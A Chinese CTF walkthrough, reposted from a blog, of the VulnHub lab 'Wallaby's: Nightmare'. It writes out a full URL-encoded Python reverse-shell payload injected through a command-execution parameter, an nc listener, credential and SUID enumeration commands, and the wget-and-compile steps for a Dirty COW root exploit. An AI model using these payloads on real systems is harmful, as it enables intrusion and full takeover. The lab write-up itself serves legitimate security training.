欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 健康 > 养生 > Wallaby‘s: Nightmare (v1.0.2)靶场渗透

Wallaby‘s: Nightmare (v1.0.2)靶场渗透

2025/4/18 2:32:20 来源:https://blog.csdn.net/zhongyuekang820/article/details/147075787  浏览:    关键词:Wallaby‘s: Nightmare (v1.0.2)靶场渗透

Wallaby's: Nightmare (v1.0.2)

来自 <Wallaby's: Nightmare (v1.0.2) ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.228

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.228

访问80端口存在的http服务

输入名字,跳转到一个新的页面,这个网站存在文件包含漏洞

4,枚举扫描出网站子目录

dirsearch -u http://192.168.23.228 -x 403,404

发现刷不出来,再用nmap扫描

访问 http://192.168.23.228:60080

天哪,这个家伙管理员要我......很高兴我搬到了另一个港口,这样我就可以更安全地工作了!!

众所周知,通过隐匿性实现安全是必经之路......

5,再进行扫描,主要是搜索对应的参数

http://192.168.23.228:60080/?page=mailer

查看页面源代码

在这个网页存在命令执行漏洞

http://192.168.23.228:60080/?page=mailer&mail

http://192.168.23.228:60080/?page=mailer&mail=pwd

http://192.168.23.228:60080/?page=mailer&mail=ls

6,然后再通过命令执行漏洞反弹shell到kali

http://192.168.23.228:60080/?page=mailer&mail=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.23.182%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

1. 命令结构

python -c '...'

  • 通过命令行直接执行Python单行代码,适用于快速执行无需保存脚本的场景。

2. 模块导入

import socket, subprocess, os

  • socket: 建立网络连接。
  • subprocess: 创建新进程(用于启动Shell)。
  • os: 操作系统接口(用于文件描述符重定向)。

3. 创建Socket连接

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.23.182", 4444))

  • AF_INET: 使用IPv4地址。
  • SOCK_STREAM: 使用TCP协议。
  • 连接到攻击者IP 192.168.23.182 的 4444 端口。

4. 重定向标准I/O

os.dup2(s.fileno(), 0)  # 标准输入 (stdin)
os.dup2(s.fileno(), 1)  # 标准输出 (stdout)
os.dup2(s.fileno(), 2)  # 标准错误 (stderr)

  • dup2: 将socket的文件描述符复制到进程的标准输入、输出、错误。
  • 所有输入/输出/错误均通过Socket传输,而非本地终端。

5. 启动交互式Shell

p = subprocess.call(["/bin/sh", "-i"])

  • /bin/sh -i: 启动交互式Shell(-i 表示交互模式)。
  • subprocess.call: 执行命令并等待其结束(此处会持续运行直到连接关闭)。

然后kali启动一个nc监听444端口,使用python启动一个可交互shell

nc -lvvp 4444

python -c 'import pty;pty.spawn("/bin/bash")'

7,然后在kali里面信息收集

linux靶机信息收集命令表

类别

命令/操作

说明

示例或关键参数

系统信息

uname -a

查看内核版本、主机名、架构等

uname -a

cat /etc/os-release

显示操作系统详细信息(适用于大多数发行版)

cat /etc/*release*

lsb_release -a

查看系统发行版信息(Debian/Ubuntu)

lsb_release -a

hostnamectl

显示主机名和操作系统版本(Systemd系统)

hostnamectl

硬件信息

lscpu

查看CPU信息(架构、核心数等)

lscpu

free -h

查看内存使用情况(以易读格式显示)

free -h

lsblk 或 df -h

查看磁盘分区及挂载点

df -h(显示磁盘空间)

用户与权限

whoami

显示当前用户

whoami

id

查看当前用户UID/GID及所属组

id

cat /etc/passwd

列出所有用户信息

cat /etc/passwd

cat /etc/shadow

查看用户密码哈希(需root权限)

sudo cat /etc/shadow

sudo -l

检查当前用户的sudo权限

sudo -l

网络信息

ifconfig 或 ip addr

查看网络接口和IP地址

ip addr show eth0

netstat -tulnp 或 ss -tuln

查看监听端口和网络连接

netstat -tulnp(显示PID和程序名)

route -n

查看路由表

route -n

arp -a

显示ARP缓存表

arp -a

服务与进程

systemctl list-units --type=service

列出所有系统服务(Systemd系统)

systemctl list-units --type=service

ps aux

查看所有运行中的进程

ps aux | grep nginx

lsof -i

列出打开的网络连接和对应进程

lsof -i :80

计划任务

crontab -l

查看当前用户的计划任务

crontab -l

ls /etc/cron.*

检查系统级计划任务目录

ls /etc/cron.hourly/

cat /etc/crontab

查看系统全局计划任务

cat /etc/crontab

安装的软件

dpkg -l (Debian/Ubuntu)

列出已安装的软件包(Debian系)

dpkg -l | grep apache

rpm -qa (RedHat/CentOS)

列出已安装的软件包(RedHat系)

rpm -qa | grep httpd

日志分析

tail /var/log/auth.log

查看认证日志(登录、sudo操作等)

tail -f /var/log/auth.log

tail /var/log/syslog

查看系统日志(Ubuntu/Debian)

tail /var/log/syslog

journalctl

查看Systemd日志(需root权限)

journalctl -u sshd

敏感文件

find / -perm -4000 -type f 2>/dev/null

查找SUID权限文件(可用于提权)

find / -perm -u=s -type f

find / -writable -type d 2>/dev/null

查找全局可写目录

find / -writable -type d

grep -rnw '/' -e 'password' 2>/dev/null

全局搜索包含关键词(如password)的文件

grep -rni "password" /etc/

由此知道了操作系统和内核版本

查看能否sudo -l提权

允许root权限执行iptables命令

iptables 基本操作表

类别

命令/操作

说明

示例或关键参数

查看规则

iptables -L -n -v

列出所有规则(-L显示规则,-n不解析域名,-v详细信息)

iptables -L INPUT -n --line-numbers

iptables -S [链名]

以原始格式显示规则(便于备份和还原)

iptables -S INPUT

清空规则

iptables -F

清空所有链的规则(谨慎操作

iptables -F INPUT(清空指定链)

iptables -X

删除用户自定义的空链

iptables -X CUSTOM_CHAIN

iptables -Z

重置计数器(包和字节统计归零)

iptables -Z

默认策略

iptables -P 链名 动作

设置链的默认策略(ACCEPT/DROP

iptables -P INPUT DROP

规则管理

iptables -A 链名 规则

在链的末尾追加规则

iptables -A INPUT -p tcp --dport 22 -j ACCEPT

iptables -I 链名 [位置] 规则

在链的指定位置插入规则(默认插入开头)

iptables -I INPUT 2 -s 192.168.1.1 -j DROP

iptables -D 链名 规则编号

删除指定链的规则(需先通过--line-numbers查看编号)

iptables -D INPUT 3

IP/端口控制

iptables -A INPUT -s IP -j DROP

禁止指定IP访问本机

iptables -A INPUT -s 10.0.0.5 -j DROP

iptables -A INPUT -p tcp --dport 端口 -j ACCEPT

开放指定TCP端口

iptables -A INPUT -p tcp --dport 80 -j ACCEPT

iptables -A INPUT -p udp --dport 端口 -j ACCEPT

开放指定UDP端口

iptables -A INPUT -p udp --dport 53 -j ACCEPT

iptables -A INPUT -m multiport --dports 端口列表 -j ACCEPT

同时开放多个端口(逗号分隔)

iptables -A INPUT -p tcp -m multiport --dports 22,80,443 -j ACCEPT

状态跟踪

iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

允许已建立的连接和关联流量(需先放行)

通常放在规则链开头

NAT转发

iptables -t nat -A POSTROUTING -o 网卡 -j MASQUERADE

启用IP伪装(用于共享上网或VPN)

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp --dport 外部端口 -j DNAT --to 内网IP:端口

端口转发(将外部端口流量转到内网)

iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to 192.168.1.10:80

日志记录

iptables -A INPUT -j LOG --log-prefix "IPTables-Dropped: "

记录匹配规则的数据包(日志保存在/var/log/syslog/var/log/messages

需配合-j DROP/REJECT使用

保存与恢复

iptables-save > /etc/iptables/rules.v4

保存当前规则到文件(需手动操作)

Debian/Ubuntu 默认路径

iptables-restore < /etc/iptables/rules.v4

从文件恢复规则

重启后需执行

服务管理

systemctl restart iptables

重启iptables服务(部分系统需安装iptables-persistent

适用于规则持久化

查看规则清空规则

iptables -L

iptables -F

第二种方法脏牛提权

8,换一个脚本使用

wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c

gcc cowroot.c -o exp -pthread

chmod +x exp

./exp

提权成功,得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词